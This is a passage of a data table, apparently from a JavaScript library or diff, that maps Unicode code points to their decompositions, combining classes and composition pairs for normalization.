1554: [, 230], 1555: [, 230], 1556: [, 230], 1557: [, 230], 1558: [, 230], 1559: [, 230], 1560: [, 30], 1561: [, 31], 1562: [, 32], 1570: [[1575, 1619]], 1571: [[1575, 1620]], 1572: [[1608, 1620]], 1573: [[1575, 1621]], 1574: [[1610, 1620]], 1575: [, , { 1619: 1570, 1620: 1571, 1621: 1573 }], 1608: [, , { 1620: 1572 }], 1610: [, , { 1620: 1574 }], 1611: [, 27], 1612: [, 28], 1613: [, 29], 1614: [, 30], 1615: [, 31], 1616: [, 32], 1617: [, 33], 1618: [, 34], 1619: [, 230], 1620: [, 230], 1621: [, 220], 1622: [, 220], 1623: [, 230], 1624: [, 230], 1625: [, 230], 1626: [, 230], 1627: [, 230], 1628: [, 220], 1629: [, 230], 1630: [, 230], 1631: [, 220], 1648: [, 35], 1653: [[1575, 1652], 256], 1654: [[1608, 1652], 256], 1655: [[1735, 1652], 256], 1656: [[1610, 1652], 256], 1728: [[1749, 1620]], 1729: [, , { 1620: 1730 }], 1730: [[1729, 1620]], 1746: [, , { 1620: 1747 }], 1747: [[1746, 1620]], 1749: [, , { 1620: 1728 }], 1750: [, 230], 1751: [, 230], 1752: [, 230], 1753: [, 230], 1754: [, 230], 1755: [, 230], 1756: [, 230], 1759: [, 230], 1760: [, 230], 1761: [, 230], 1762: [, 230], 1763: [, 220], 1764: [, 230], 1767: [, 230], 1768: [, 230], 1770: [, 220], 1771: [, 230], 1772: [, 230], 1773: [, 220] }, + 1792: { 1809: [, 36], 1840: [, 230], 1841: [, 220], 1842: [, 230], 1843: [, 230], 1844: [, 220], 1845: [, 230], 1846: [, 230], 1847: [, 220], 1848: [, 220], 1849: [, 220], 1850: [, 230], 1851: [, 220], 1852: [, 220], 1853: [, 230], 1854: [, 220], 1855: [, 230], 1856: [, 230], 1857: [, 230], 1858: [, 220], 1859: [, 230], 1860: [, 220], 1861: [, 230], 1862: [, 220], 1863: [, 230], 1864: [, 220], 1865: [, 230], 1866: [, 230], 2027: [, 230], 2028: [, 230], 2029: [, 230], 2030: [, 230], 2031: [, 230], 2032: [, 230], 2033: [, 230], 2034: [, 220], 2035: [, 230] }, + 2048: { 2070: [, 230], 2071: [, 230], 2072: [, 230], 2073: [, 230], 2075: [, 230], 2076: [, 230], 2077: [, 230], 2078: [, 230], 2079: [, 230], 2080: [, 230], 2081: [, 230], 2082: [, 230], 2083: [, 230], 2085: [, 230], 2086: [, 230], 2087: [, 230], 2089: [, 230], 2090: [, 230], 2091: [, 230], 2092: [, 230], 2093: [, 230], 2137: [, 220], 2138: [, 220], 2139: [, 220], 2276: [, 230], 2277: [, 230], 2278: [, 220], 2279: [, 230], 2280: [, 230], 2281: [, 220], 2282: [, 230], 2283: [, 230], 2284: [, 230], 2285: [, 220], 2286: [, 220], 2287: [, 220], 2288: [, 27], 2289: [, 28], 2290: [, 29], 2291: [, 230], 2292: [, 230], 2293: [, 230], 2294: [, 220], 2295: [, 230], 2296: [, 230], 2297: [, 220], 2298: [, 220], 2299: [, 230], 2300: [, 230], 2301: [, 230], 2302: [, 230], 2303: [, 230] }, + 2304: { 2344: [, , { 2364: 2345 }], 2345: [[2344, 2364]], 2352: [, , { 2364: 2353 }], 2353: [[2352, 2364]], 2355: [, , { 2364: 2356 }], 2356: [[2355, 2364]], 2364: [, 7], 2381: [, 9], 2385: [, 230], 2386: [, 220], 2387: [, 230], 2388: [, 230], 2392: [[2325, 2364], 512], 2393: [[2326, 2364], 512], 2394: [[2327, 2364], 512], 2395: [[2332, 2364], 512], 2396: [[2337, 2364], 512], 2397: [[2338, 2364], 512], 2398: [[2347, 2364], 512], 2399: [[2351, 2364], 512], 2492: [, 7], 2503: [, , { 2494: 2507, 2519: 2508 }], 2507: [[2503, 2494]], 2508: [[2503, 2519]], 2509: [, 9], 2524: [[2465, 2492], 512], 2525: [[2466, 2492], 512], 2527: [[2479, 2492], 512] }, + 2560: { 2611: [[2610, 2620], 512], 2614: [[2616, 2620], 512], 2620: [, 7], 2637: [, 9], 2649: [[2582, 2620], 512], 2650: [[2583, 2620], 512], 2651: [[2588, 2620], 512], 2654: [[2603, 2620], 512], 2748: [, 7], 2765: [, 9], 68109: [, 220], 68111: [, 230], 68152: [, 230], 68153: [, 1], 68154: [, 220], 68159: [, 9], 68325: [, 230], 68326: [, 220] }, + 2816: { 2876: [, 7], 2887: [, , { 2878: 2891, 2902: 2888, 2903: 2892 }], 2888: [[2887, 2902]], 2891: [[2887, 2878]], 2892: [[2887, 2903]], 2893: [, 9], 2908: [[2849, 2876], 512], 2909: [[2850, 2876], 512], 2962: [, , { 3031: 2964 }], 2964: [[2962, 3031]], 3014: [, , { 3006: 3018, 3031: 3020 }], 3015: [, , { 3006: 3019 }], 3018: [[3014, 3006]], 3019: [[3015, 3006]], 3020: [[3014, 3031]], 3021: [, 9] }, + 3072: { 3142: [, , { 3158: 3144 }], 3144: [[3142, 3158]], 3149: [, 9], 3157: [, 84], 3158: [, 91], 3260: [, 7], 3263: [, , { 3285: 3264 }], 3264: [[3263, 3285]], 3270: [, , { 3266: 3274, 3285: 3271, 3286: 3272 }], 3271: [[3270, 3285]], 3272: [[3270, 3286]], 3274: [[3270, 3266], , { 3285: 3275 }], 3275: [[3274, 3285]], 3277: [, 9] }, + 3328: { 3398: [, , { 3390: 3402, 3415: 3404 }], 3399: [, , { 3390: 3403 }], 3402: [[3398, 3390]], 3403: [[3399, 3390]], 3404: [[3398, 3415]], 3405: [, 9], 3530: [, 9], 3545: [, , { 3530: 3546, 3535: 3548, 3551: 3550 }], 3546: [[3545, 3530]], 3548: [[3545, 3535], , { 3530: 3549 }], 3549: [[3548, 3530]], 3550: [[3545, 3551]] }, + 3584: { 3635: [[3661, 3634], 256], 3640: [, 103], 3641: [, 103], 3642: [, 9], 3656: [, 107], 3657: [, 107], 3658: [, 107], 3659: [, 107], 3763: [[3789, 3762], 256], 3768: [, 118], 3769: [, 118], 3784: [, 122], 3785: [, 122], 3786: [, 122], 3787: [, 122], 3804: [[3755, 3737], 256], 3805: [[3755, 3745], 256] }, + 3840: { 3852: [[3851], 256], 3864: [, 220], 3865: [, 220], 3893: [, 220], 3895: [, 220], 3897: [, 216], 3907: [[3906, 4023], 512], 3917: [[3916, 4023], 512], 3922: [[3921, 4023], 512], 3927: [[3926, 4023], 512], 3932: [[3931, 4023], 512], 3945: [[3904, 4021], 512], 3953: [, 129], 3954: [, 130], 3955: [[3953, 3954], 512], 3956: [, 132], 3957: [[3953, 3956], 512], 3958: [[4018, 3968], 512], 3959: [[4018, 3969], 256], 3960: [[4019, 3968], 512], 3961: [[4019, 3969], 256], 3962: [, 130], 3963: [, 130], 3964: [, 130], 3965: [, 130], 3968: [, 130], 3969: [[3953, 3968], 512], 3970: [, 230], 3971: [, 230], 3972: [, 9], 3974: [, 230], 3975: [, 230], 3987: [[3986, 4023], 512], 3997: [[3996, 4023], 512], 4002: [[4001, 4023], 512], 4007: [[4006, 4023], 512], 4012: [[4011, 4023], 512], 4025: [[3984, 4021], 512], 4038: [, 220] }, + 4096: { 4133: [, , { 4142: 4134 }], 4134: [[4133, 4142]], 4151: [, 7], 4153: [, 9], 4154: [, 9], 4237: [, 220], 4348: [[4316], 256], 69702: [, 9], 69759: [, 9], 69785: [, , { 69818: 69786 }], 69786: [[69785, 69818]], 69787: [, , { 69818: 69788 }], 69788: [[69787, 69818]], 69797: [, , { 69818: 69803 }], 69803: [[69797, 69818]], 69817: [, 9], 69818: [, 7] }, + 4352: { 69888: [, 230], 69889: [, 230], 69890: [, 230], 69934: [[69937, 69927]], 69935: [[69938, 69927]], 69937: [, , { 69927: 69934 }], 69938: [, , { 69927: 69935 }], 69939: [, 9], 69940: [, 9], 70003: [, 7], 70080: [, 9] }, + 4608: { 70197: [, 9], 70198: [, 7], 70377: [, 7], 70378: [, 9] }, + 4864: { 4957: [, 230], 4958: [, 230], 4959: [, 230], 70460: [, 7], 70471: [, , { 70462: 70475, 70487: 70476 }], 70475: [[70471, 70462]], 70476: [[70471, 70487]], 70477: [, 9], 70502: [, 230], 70503: [, 230], 70504: [, 230], 70505: [, 230], 70506: [, 230], 70507: [, 230], 70508: [, 230], 70512: [, 230], 70513: [, 230], 70514: [, 230], 70515: [, 230], 70516: [, 230] }, + 5120: { 70841: [, , { 70832: 70844, 70842: 70843, 70845: 70846 }], 70843: [[70841, 70842]], 70844: [[70841, 70832]], 70846: [[70841, 70845]], 70850: [, 9], 70851: [, 7] }, + 5376: { 71096: [, , { 71087: 71098 }], 71097: [, , { 71087: 71099 }], 71098: [[71096, 71087]], 71099: [[71097, 71087]], 71103: [, 9], 71104: [, 7] }, + 5632: { 71231: [, 9], 71350: [, 9], 71351: [, 7] }, + 5888: { 5908: [, 9], 5940: [, 9], 6098: [, 9], 6109: [, 230] }, + 6144: { 6313: [, 228] }, + 6400: { 6457: [, 222], 6458: [, 230], 6459: [, 220] }, + 6656: { 6679: [, 230], 6680: [, 220], 6752: [, 9], 6773: [, 230], 6774: [, 230], 6775: [, 230], 6776: [, 230], 6777: [, 230], 6778: [, 230], 6779: [, 230], 6780: [, 230], 6783: [, 220], 6832: [, 230], 6833: [, 230], 6834: [, 230], 6835: [, 230], 6836: [, 230], 6837: [, 220], 6838: [, 220], 6839: [, 220], 6840: [, 220], 6841: [, 220], 6842: [, 220], 6843: [, 230], 6844: [, 230], 6845: [, 220] }, + 6912: { 6917: [, , { 6965: 6918 }], 6918: [[6917, 6965]], 6919: [, , { 6965: 6920 }], 6920: [[6919, 6965]], 6921: [, , { 6965: 6922 }], 6922: [[6921, 6965]], 6923: [, , { 6965: 6924 }], 6924: [[6923, 6965]], 6925: [, , { 6965: 6926 }], 6926: [[6925, 6965]], 6929: [, , { 6965: 6930 }], 6930: [[6929, 6965]], 6964: [, 7], 6970: [, , { 6965: 6971 }], 6971: [[6970, 6965]], 6972: [, , { 6965: 6973 }], 6973: [[6972, 6965]], 6974: [, , { 6965: 6976 }], 6975: [, , { 6965: 6977 }], 6976: [[6974, 6965]], 6977: [[6975, 6965]], 6978: [, , { 6965: 6979 }], 6979: [[6978, 6965]], 6980: [, 9], 7019: [, 230], 7020: [, 220], 7021: [, 230], 7022: [, 230], 7023: [, 230], 7024: [, 230], 7025: [, 230], 7026: [, 230], 7027: [, 230], 7082: [, 9], 7083: [, 9], 7142: [, 7], 7154: [, 9], 7155: [, 9] }, + 7168: { 7223: [, 7], 7376: [, 230], 7377: [, 230], 7378: [, 230], 7380: [, 1], 7381: [, 220], 7382: [, 220], 7383: [, 220], 7384: [, 220], 7385: [, 220], 7386: [, 230], 7387: [, 230], 7388: [, 220], 7389: [, 220], 7390: [, 220], 7391: [, 220], 7392: [, 230], 7394: [, 1], 7395: [, 1], 7396: [, 1], 7397: [, 1], 7398: [, 1], 7399: [, 1], 7400: [, 1], 7405: [, 220], 7412: [, 230], 7416: [, 230], 7417: [, 230] }, + 7424: { 7468: [[65], 256], 7469: [[198], 256], 7470: [[66], 256], 7472: [[68], 256], 7473: [[69], 256], 7474: [[398], 256], 7475: [[71], 256], 7476: [[72], 256], 7477: [[73], 256], 7478: [[74], 256], 7479: [[75], 256], 7480: [[76], 256], 7481: [[77], 256], 7482: [[78], 256], 7484: [[79], 256], 7485: [[546], 256], 7486: [[80], 256], 7487: [[82], 256], 7488: [[84], 256], 7489: [[85], 256], 7490: [[87], 256], 7491: [[97], 256], 7492: [[592], 256], 7493: [[593], 256], 7494: [[7426], 256], 7495: [[98], 256], 7496: [[100], 256], 7497: [[101], 256], 7498: [[601], 256], 7499: [[603], 256], 7500: [[604], 256], 7501: [[103], 256], 7503: [[107], 256], 7504: [[109], 256], 7505: [[331], 256], 7506: [[111], 256], 7507: [[596], 256], 7508: [[7446], 256], 7509: [[7447], 256], 7510: [[112], 256], 7511: [[116], 256], 7512: [[117], 256], 7513: [[7453], 256], 7514: [[623], 256], 7515: [[118], 256], 7516: [[7461], 256], 7517: [[946], 256], 7518: [[947], 256], 7519: [[948], 256], 7520: [[966], 256], 7521: [[967], 256], 7522: [[105], 256], 7523: [[114], 256], 7524: [[117], 256], 7525: [[118], 256], 7526: [[946], 256], 7527: [[947], 256], 7528: [[961], 256], 7529: [[966], 256], 7530: [[967], 256], 7544: [[1085], 256], 7579: [[594], 256], 7580: [[99], 256], 7581: [[597], 256], 7582: [[240], 256], 7583: [[604], 256], 7584: [[102], 256], 7585: [[607], 256], 7586: [[609], 256], 7587: [[613], 256], 7588: [[616], 256], 7589: [[617], 256], 7590: [[618], 256], 7591: [[7547], 256], 7592: [[669], 256], 7593: [[621], 256], 7594: [[7557], 256], 7595: [[671], 256], 7596: [[625], 256], 7597: [[624], 256], 7598: [[626], 256], 7599: [[627], 256], 7600: [[628], 256], 7601: [[629], 256], 7602: [[632], 256], 7603: [[642], 256], 7604: [[643], 256], 7605: [[427], 256], 7606: [[649], 256], 7607: [[650], 256], 7608: [[7452], 256], 7609: [[651], 256], 7610: [[652], 256], 7611: [[122], 256], 7612: [[656], 256], 7613: [[657], 256], 7614: [[658], 256], 7615: [[952], 256], 7616: [, 230], 7617: [, 230], 7618: [, 220], 7619: [, 230], 7620: [, 230], 7621: [, 230], 7622: [, 230], 7623: [, 230], 7624: [, 230], 7625: [, 230], 7626: [, 220], 7627: [, 230], 7628: [, 230], 7629: [, 234], 7630: [, 214], 7631: [, 220], 7632: [, 202], 7633: [, 230], 7634: [, 230], 7635: [, 230], 7636: [, 230], 7637: [, 230], 7638: [, 230], 7639: [, 230], 7640: [, 230], 7641: [, 230], 7642: [, 230], 7643: [, 230], 7644: [, 230], 7645: [, 230], 7646: [, 230], 7647: [, 230], 7648: [, 230], 7649: [, 230], 7650: [, 230], 7651: [, 230], 7652: [, 230], 7653: [, 230], 7654: [, 230], 7655: [, 230], 7656: [, 230], 7657: [, 230], 7658: [, 230], 7659: [, 230], 7660: [, 230], 7661: [, 230], 7662: [, 230], 7663: [, 230], 7664: [, 230], 7665: [, 230], 7666: [, 230], 7667: [, 230], 7668: [, 230], 7669: [, 230], 7676: [, 233], 7677: [, 220], 7678: [, 230], 7679: [, 220] }, + 7680: { 7680: [[65, 805]], 7681: [[97, 805]], 7682: [[66, 775]], 7683: [[98, 775]], 7684: [[66, 803]], 7685: [[98, 803]], 7686: [[66, 817]], 7687: [[98, 817]], 7688: [[199, 769]], 7689: [[231, 769]], 7690: [[68, 775]], 7691: [[100, 775]], 7692: [[68, 803]], 7693: [[100, 803]], 7694: [[68, 817]], 7695: [[100, 817]], 7696: [[68, 807]], 7697: [[100, 807]], 7698: [[68, 813]], 7699: [[100, 813]], 7700: [[274, 768]], 7701: [[275, 768]], 7702: [[274, 769]], 7703: [[275, 769]], 7704: [[69, 813]], 7705: [[101, 813]], 7706: [[69, 816]], 7707: [[101, 816]], 7708: [[552, 774]], 7709: [[553, 774]], 7710: [[70, 775]], 7711: [[102, 775]], 7712: [[71, 772]], 7713: [[103, 772]], 7714: [[72, 775]], 7715: [[104, 775]], 7716: [[72, 803]], 7717: [[104, 803]], 7718: [[72, 776]], 7719: [[104, 776]], 7720: [[72, 807]], 7721: [[104, 807]], 7722: [[72, 814]], 7723: [[104, 814]], 7724: [[73, 816]], 7725: [[105, 816]], 7726: [[207, 769]], 7727: [[239, 769]], 7728: [[75, 769]], 7729: [[107, 769]], 7730: [[75, 803]], 7731: [[107, 803]], 7732: [[75, 817]], 7733: [[107, 817]], 7734: [[76, 803], , { 772: 7736 }], 7735: [[108, 803], , { 772: 7737 }], 7736: [[7734, 772]], 7737: [[7735, 772]], 7738: [[76, 817]], 7739: [[108, 817]], 7740: [[76, 813]], 7741: [[108, 813]], 7742: [[77, 769]], 7743: [[109, 769]], 7744: [[77, 775]], 7745: [[109, 775]], 7746: [[77, 803]], 7747: [[109, 803]], 7748: [[78, 775]], 7749: [[110, 775]], 7750: [[78, 803]], 7751: [[110, 803]], 7752: [[78, 817]], 7753: [[110, 817]], 7754: [[78, 813]], 7755: [[110, 813]], 7756: [[213, 769]], 7757: [[245, 769]], 7758: [[213, 776]], 7759: [[245, 776]], 7760: [[332, 768]], 7761: [[333, 768]], 7762: [[332, 769]], 7763: [[333, 769]], 7764: [[80, 769]], 7765: [[112, 769]], 7766: [[80, 775]], 7767: [[112, 775]], 7768: [[82, 775]], 7769: [[114, 775]], 7770: [[82, 803], , { 772: 7772 }], 7771: [[114, 803], , { 772: 7773 }], 7772: [[7770, 772]], 7773: [[7771, 772]], 7774: [[82, 817]], 7775: [[114, 817]], 7776: [[83, 775]], 7777: [[115, 775]], 7778: [[83, 803], , { 775: 7784 }], 7779: [[115, 803], , { 775: 7785 }], 7780: [[346, 775]], 7781: [[347, 775]], 7782: [[352, 775]], 7783: [[353, 775]], 7784: [[7778, 775]], 7785: [[7779, 775]], 7786: [[84, 775]], 7787: [[116, 775]], 7788: [[84, 803]], 7789: [[116, 803]], 7790: [[84, 817]], 7791: [[116, 817]], 7792: [[84, 813]], 7793: [[116, 813]], 7794: [[85, 804]], 7795: [[117, 804]], 7796: [[85, 816]], 7797: [[117, 816]], 7798: [[85, 813]], 7799: [[117, 813]], 7800: [[360, 769]], 7801: [[361, 769]], 7802: [[362, 776]], 7803: [[363, 776]], 7804: [[86, 771]], 7805: [[118, 771]], 7806: [[86, 803]], 7807: [[118, 803]], 7808: [[87, 768]], 7809: [[119, 768]], 7810: [[87, 769]], 7811: [[119, 769]], 7812: [[87, 776]], 7813: [[119, 776]], 7814: [[87, 775]], 7815: [[119, 775]], 7816: [[87, 803]], 7817: [[119, 803]], 7818: [[88, 775]], 7819: [[120, 775]], 7820: [[88, 776]], 7821: [[120, 776]], 7822: [[89, 775]], 7823: [[121, 775]], 7824: [[90, 770]], 7825: [[122, 770]], 7826: [[90, 803]], 7827: [[122, 803]], 7828: [[90, 817]], 7829: [[122, 817]], 7830: [[104, 817]], 7831: [[116, 776]], 7832: [[119, 778]], 7833: [[121, 778]], 7834: [[97, 702], 256], 7835: [[383, 775]], 7840: [[65, 803], , { 770: 7852, 774: 7862 }], 7841: [[97, 803], , { 770: 7853, 774: 7863 }], 7842: [[65, 777]], 7843: [[97, 777]], 7844: [[194, 769]], 7845: [[226, 769]], 7846: [[194, 768]], 7847: [[226, 768]], 7848: [[194, 777]], 7849: [[226, 777]], 7850: [[194, 771]], 7851: [[226, 771]], 7852: [[7840, 770]], 7853: [[7841, 770]], 7854: [[258, 769]], 7855: [[259, 769]], 7856: [[258, 768]], 7857: [[259, 768]], 7858: [[258, 777]], 7859: [[259, 777]], 7860: [[258, 771]], 7861: [[259, 771]], 7862: [[7840, 774]], 7863: [[7841, 774]], 7864: [[69, 803], , { 770: 7878 }], 7865: [[101, 803], , { 770: 7879 }], 7866: [[69, 777]], 7867: [[101, 777]], 7868: [[69, 771]], 7869: [[101, 771]], 7870: [[202, 769]], 7871: [[234, 769]], 7872: [[202, 768]], 7873: [[234, 768]], 7874: [[202, 777]], 7875: [[234, 777]], 7876: [[202, 771]], 7877: [[234, 771]], 7878: [[7864, 770]], 7879: [[7865, 770]], 7880: [[73, 777]], 7881: [[105, 777]], 7882: [[73, 803]], 7883: [[105, 803]], 7884: [[79, 803], , { 770: 7896 }], 7885: [[111, 803], , { 770: 7897 }], 7886: [[79, 777]], 7887: [[111, 777]], 7888: [[212, 769]], 7889: [[244, 769]], 7890: [[212, 768]], 7891: [[244, 768]], 7892: [[212, 777]], 7893: [[244, 777]], 7894: [[212, 771]], 7895: [[244, 771]], 7896: [[7884, 770]], 7897: [[7885, 770]], 7898: [[416, 769]], 7899: [[417, 769]], 7900: [[416, 768]], 7901: [[417, 768]], 7902: [[416, 777]], 7903: [[417, 777]], 7904: [[416, 771]], 7905: [[417, 771]], 7906: [[416, 803]], 7907: [[417, 803]], 7908: [[85, 803]], 7909: [[117, 803]], 7910: [[85, 777]], 7911: [[117, 777]], 7912: [[431, 769]], 7913: [[432, 769]], 7914: [[431, 768]], 7915: [[432, 768]], 7916: [[431, 777]], 7917: [[432, 777]], 7918: [[431, 771]], 7919: [[432, 771]], 7920: [[431, 803]], 7921: [[432, 803]], 7922: [[89, 768]], 7923: [[121, 768]], 7924: [[89, 803]], 7925: [[121, 803]], 7926: [[89, 777]], 7927: [[121, 777]], 7928: [[89, 771]], 7929: [[121, 771]] }, + 7936: { 7936: [[945, 787], , { 768: 7938, 769: 7940, 834: 7942, 837: 8064 }], 7937: [[945, 788], , { 768: 7939, 769: 7941, 834: 7943, 837: 8065 }], 7938: [[7936, 768], , { 837: 8066 }], 7939: [[7937, 768], , { 837: 8067 }], 7940: [[7936, 769], , { 837: 8068 }], 7941: [[7937, 769], , { 837: 8069 }], 7942: [[7936, 834], , { 837: 8070 }], 7943: [[7937, 834], , { 837: 8071 }], 7944: [[913, 787], , { 768: 7946, 769: 7948, 834: 7950, 837: 8072 }], 7945: [[913, 788], , { 768: 7947, 769: 7949, 834: 7951, 837: 8073 }], 7946: [[7944, 768], , { 837: 8074 }], 7947: [[7945, 768], , { 837: 8075 }], 7948: [[7944, 769], , { 837: 8076 }], 7949: [[7945, 769], , { 837: 8077 }], 7950: [[7944, 834], , { 837: 8078 }], 7951: [[7945, 834], , { 837: 8079 }], 7952: [[949, 787], , { 768: 7954, 769: 7956 }], 7953: [[949, 788], , { 768: 7955, 769: 7957 }], 7954: [[7952, 768]], 7955: [[7953, 768]], 7956: [[7952, 769]], 7957: [[7953, 769]], 7960: [[917, 787], , { 768: 7962, 769: 7964 }], 7961: [[917, 788], , { 768: 7963, 769: 7965 }], 7962: [[7960, 768]], 7963: [[7961, 768]], 7964: [[7960, 769]], 7965: [[7961, 769]], 7968: [[951, 787], , { 768: 7970, 769: 7972, 834: 7974, 837: 8080 }], 7969: [[951, 788], , { 768: 7971, 769: 7973, 834: 7975, 837: 8081 }], 7970: [[7968, 768], , { 837: 8082 }], 7971: [[7969, 768], , { 837: 8083 }], 7972: [[7968, 769], , { 837: 8084 }], 7973: [[7969, 769], , { 837: 8085 }], 7974: [[7968, 834], , { 837: 8086 }], 7975: [[7969, 834], , { 837: 8087 }], 7976: [[919, 787], , { 768: 7978, 769: 7980, 834: 7982, 837: 8088 }], 7977: [[919, 788], , { 768: 7979, 769: 7981, 834: 7983, 837: 8089 }], 7978: [[7976, 768], , { 837: 8090 }], 7979: [[7977, 768], , { 837: 8091 }], 7980: [[7976, 769], , { 837: 8092 }], 7981: [[7977, 769], , { 837: 8093 }], 7982: [[7976, 834], , { 837: 8094 }], 7983: [[7977, 834], , { 837: 8095 }], 7984: [[953, 787], , { 768: 7986, 769: 7988, 834: 7990 }], 7985: [[953, 788], , { 768: 7987, 769: 7989, 834: 7991 }], 7986: [[7984, 768]], 7987: [[7985, 768]], 7988: [[7984, 769]], 7989: [[7985, 769]], 7990: [[7984, 834]], 7991: [[7985, 834]], 7992: [[921, 787], , { 768: 7994, 769: 7996, 834: 7998 }], 7993: [[921, 788], , { 768: 7995, 769: 7997, 834: 7999 }], 7994: [[7992, 768]], 7995: [[7993, 768]], 7996: [[7992, 769]], 7997: [[7993, 769]], 7998: [[7992, 834]], 7999: [[7993, 834]], 8000: [[959, 787], , { 768: 8002, 769: 8004 }], 8001: [[959, 788], , { 768: 8003, 769: 8005 }], 8002: [[8000, 768]], 8003: [[8001, 768]], 8004: [[8000, 769]], 8005: [[8001, 769]], 8008: [[927, 787], , { 768: 8010, 769: 8012 }], 8009: [[927, 788], , { 768: 8011, 769: 8013 }], 8010: [[8008, 768]], 8011: [[8009, 768]], 8012: [[8008, 769]], 8013: [[8009, 769]], 8016: [[965, 787], , { 768: 8018, 769: 8020, 834: 8022 }], 8017: [[965, 788], , { 768: 8019, 769: 8021, 834: 8023 }], 8018: [[8016, 768]], 8019: [[8017, 768]], 8020: [[8016, 769]], 8021: [[8017, 769]], 8022: [[8016, 834]], 8023: [[8017, 834]], 8025: [[933, 788], , { 768: 8027, 769: 8029, 834: 8031 }], 8027: [[8025, 768]], 8029: [[8025, 769]], 8031: [[8025, 834]], 8032: [[969, 787], , { 768: 8034, 769: 8036, 834: 8038, 837: 8096 }], 8033: [[969, 788], , { 768: 8035, 769: 8037, 834: 8039, 837: 8097 }], 8034: [[8032, 768], , { 837: 8098 }], 8035: [[8033, 768], , { 837: 8099 }], 8036: [[8032, 769], , { 837: 8100 }], 8037: [[8033, 769], , { 837: 8101 }], 8038: [[8032, 834], , { 837: 8102 }], 8039: [[8033, 834], , { 837: 8103 }], 8040: [[937, 787], , { 768: 8042, 769: 8044, 834: 8046, 837: 8104 }], 8041: [[937, 788], , { 768: 8043, 769: 8045, 834: 8047, 837: 8105 }], 8042: [[8040, 768], , { 837: 8106 }], 8043: [[8041, 768], , { 837: 8107 }], 8044: [[8040, 769], , { 837: 8108 }], 8045: [[8041, 769], , { 837: 8109 }], 8046: [[8040, 834], , { 837: 8110 }], 8047: [[8041, 834], , { 837: 8111 }], 8048: [[945, 768], , { 837: 8114 }], 8049: [[940]], 8050: [[949, 768]], 8051: [[941]], 8052: [[951, 768], , { 837: 8130 }], 8053: [[942]], 8054: [[953, 768]], 8055: [[943]], 8056: [[959, 768]], 8057: [[972]], 8058: [[965, 768]], 8059: [[973]], 8060: [[969, 768], , { 837: 8178 }], 8061: [[974]], 8064: [[7936, 837]], 8065: [[7937, 837]], 8066: [[7938, 837]], 8067: [[7939, 837]], 8068: [[7940, 837]], 8069: [[7941, 837]], 8070: [[7942, 837]], 8071: [[7943, 837]], 8072: [[7944, 837]], 8073: [[7945, 837]], 8074: [[7946, 837]], 8075: [[7947, 837]], 8076: [[7948, 837]], 8077: [[7949, 837]], 8078: [[7950, 837]], 8079: [[7951, 837]], 8080: [[7968, 837]], 8081: [[7969, 837]], 8082: [[7970, 837]], 8083: [[7971, 837]], 8084: [[7972, 837]], 8085: [[7973, 837]], 8086: [[7974, 837]], 8087: [[7975, 837]], 8088: [[7976, 837]], 8089: [[7977, 837]], 8090: [[7978, 837]], 8091: [[7979, 837]], 8092: [[7980, 837]], 8093: [[7981, 837]], 8094: [[7982, 837]], 8095: [[7983, 837]], 8096: [[8032, 837]], 8097: [[8033, 837]], 8098: [[8034, 837]], 8099: [[8035, 837]], 8100: [[8036, 837]], 8101: [[8037, 837]], 8102: [[8038, 837]], 8103: [[8039, 837]], 8104: [[8040, 837]], 8105: [[8041, 837]], 8106: [[8042, 837]], 8107: [[8043, 837]], 8108: [[8044, 837]], 8109: [[8045, 837]], 8110: [[8046, 837]], 8111: [[8047, 837]], 8112: [[945, 774]], 8113: [[945, 772]], 8114: [[8048, 837]], 8115: [[945, 837]], 8116: [[940, 837]], 8118: [[945, 834], , { 837: 8119 }], 8119: [[8118, 837]], 8120: [[913, 774]], 8121: [[913, 772]], 8122: [[913, 768]], 8123: [[902]], 8124: [[913, 837]], 8125: [[32, 787], 256], 8126: [[953]], 8127: [[32, 787], 256, { 768: 8141, 769: 8142, 834: 8143 }], 8128: [[32, 834], 256], 8129: [[168, 834]], 8130: [[8052, 837]], 8131: [[951, 837]], 8132: [[942, 837]], 8134: [[951, 834], , { 837: 8135 }], 8135: [[8134, 837]], 8136: [[917, 768]], 8137: [[904]], 8138: [[919, 768]], 8139: [[905]], 8140: [[919, 837]], 8141: [[8127, 768]], 8142: [[8127, 769]], 8143: [[8127, 834]], 8144: [[953, 774]], 8145: [[953, 772]], 8146: [[970, 768]], 8147: [[912]], 8150: [[953, 834]], 8151: [[970, 834]], 8152: [[921, 774]], 8153: [[921, 772]], 8154: [[921, 768]], 8155: [[906]], 8157: [[8190, 768]], 8158: [[8190, 769]], 8159: [[8190, 834]], 8160: [[965, 774]], 8161: [[965, 772]], 8162: [[971, 768]], 8163: [[944]], 8164: [[961, 787]], 8165: [[961, 788]], 8166: [[965, 834]], 8167: [[971, 834]], 8168: [[933, 774]], 8169: [[933, 772]], 8170: [[933, 768]], 8171: [[910]], 8172: [[929, 788]], 8173: [[168, 768]], 8174: [[901]], 8175: [[96]], 8178: [[8060, 837]], 8179: [[969, 837]], 8180: [[974, 837]], 8182: [[969, 834], , { 837: 8183 }], 8183: [[8182, 837]], 8184: [[927, 768]], 8185: [[908]], 8186: [[937, 768]], 8187: [[911]], 8188: [[937, 837]], 8189: [[180]], 8190: [[32, 788], 256, { 768: 8157, 769: 8158, 834: 8159 }] }, + 8192: { 8192: [[8194]], 8193: [[8195]], 8194: [[32], 256], 8195: [[32], 256], 8196: [[32], 256], 8197: [[32], 256], 8198: [[32], 256], 8199: [[32], 256], 8200: [[32], 256], 8201: [[32], 256], 8202: [[32], 256], 8209: [[8208], 256], 8215: [[32, 819], 256], 8228: [[46], 256], 8229: [[46, 46], 256], 8230: [[46, 46, 46], 256], 8239: [[32], 256], 8243: [[8242, 8242], 256], 8244: [[8242, 8242, 8242], 256], 8246: [[8245, 8245], 256], 8247: [[8245, 8245, 8245], 256], 8252: [[33, 33], 256], 8254: [[32, 773], 256], 8263: [[63, 63], 256], 8264: [[63, 33], 256], 8265: [[33, 63], 256], 8279: [[8242, 8242, 8242, 8242], 256], 8287: [[32], 256], 8304: [[48], 256], 8305: [[105], 256], 8308: [[52], 256], 8309: [[53], 256], 8310: [[54], 256], 8311: [[55], 256], 8312: [[56], 256], 8313: [[57], 256], 8314: [[43], 256], 8315: [[8722], 256], 8316: [[61], 256], 8317: [[40], 256], 8318: [[41], 256], 8319: [[110], 256], 8320: [[48], 256], 8321: [[49], 256], 8322: [[50], 256], 8323: [[51], 256], 8324: [[52], 256], 8325: [[53], 256], 8326: [[54], 256], 8327: [[55], 256], 8328: [[56], 256], 8329: [[57], 256], 8330: [[43], 256], 8331: [[8722], 256], 8332: [[61], 256], 8333: [[40], 256], 8334: [[41], 256], 8336: [[97], 256], 8337: [[101], 256], 8338: [[111], 256], 